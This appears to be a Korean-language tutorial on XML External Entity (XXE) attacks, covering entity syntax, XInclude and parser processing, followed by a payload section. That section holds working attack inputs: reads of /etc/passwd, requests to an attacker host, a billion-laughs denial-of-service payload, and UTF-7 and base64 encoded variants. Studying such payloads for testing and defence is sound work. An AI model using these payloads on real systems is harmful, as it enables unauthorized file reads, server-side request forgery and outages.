XXE(XML External Entity)
XML 외부 Entity 처리가 가능하게 설정된 경우 발생하는 취약점
XXE는 XML External Entity 공격이며, 해당 공격은 XML을 입력으로 받는 서비스에서 발생할 수 있습니다.
이 공격은 XML의 외부 entity를 참조하는 과정에서 발생하거나 취약한 XML Parser에서 발생합니다.
해당 공격을 통해서 접근할 수 없는 데이터에 접근하거나 DoS(Denial Of Service), SSRF(Server Side Request Forgery), Port Scan과 같은 공격을 시도할 수 있습니다.
XML Entity
XML Entity는 5개가 미리 정의되어 있습니다.
위와 같은 다섯 개의 Entity 이외 Entity는 사전에 DTD에서 선언해야 합니다.
외부 Entity란?
문서 외부에 존재하는 외부 Entity는 file, html 등이 될 수 있으며 외부에 파일을 불러옵니다.
해당 기능은 SYSTEM Keyword를 사용하여 선언할 수 있습니다.
syntax
<!ENTITY 엔티티이름 SYSTEM "URI또는URL">
XML
복사
example
<!ENTITY passwd SYSTEM "file:///etc/passwd">
XML
복사
XML Parameter Entity
DTD 문서에서만 사용하기 위해 선언한 Entity를 Parameter Entity라고 합니다.
syntax
<!ENTITY %엔티티이름 "엔티티값">
XML
복사
example
<!ENTITY %test "test1, test2, test3, test4">
XML
복사
XInclude
XInlcude는 XML내 다른 문서를 포함하도록하는 기술이며 해당 기술을 통하여 XML File 혹은 XML File이 아닌 텍스트 파일의 데이터를 통합할 수 있습니다.
syntax
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="파일 이름"/>
</foo>
XML
복사
example
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="test.txt"/>
</foo>
XML
복사
XXE Processing
1.
Application은 XML을 파싱합니다.
2.
3.
XML 파서는 DTD의 유효성을 검사합니다.
4.
XML 파서가 DTD 내의 외부 Entity를 참조하고 처리합니다.
XXE Payload
Local File Access
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
XML
복사
Web Request
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >
]>
<foo>&xxe;</foo>
XML
복사
XInclude Local File Access
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
XML
복사
DoS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
XML
복사
UTF-7 Encoding
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
XML
복사
Base64 Encoding
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
XML
복사
더 다양한 Payload를 확인하고 싶으면 아래의 링크를 클릭해주세요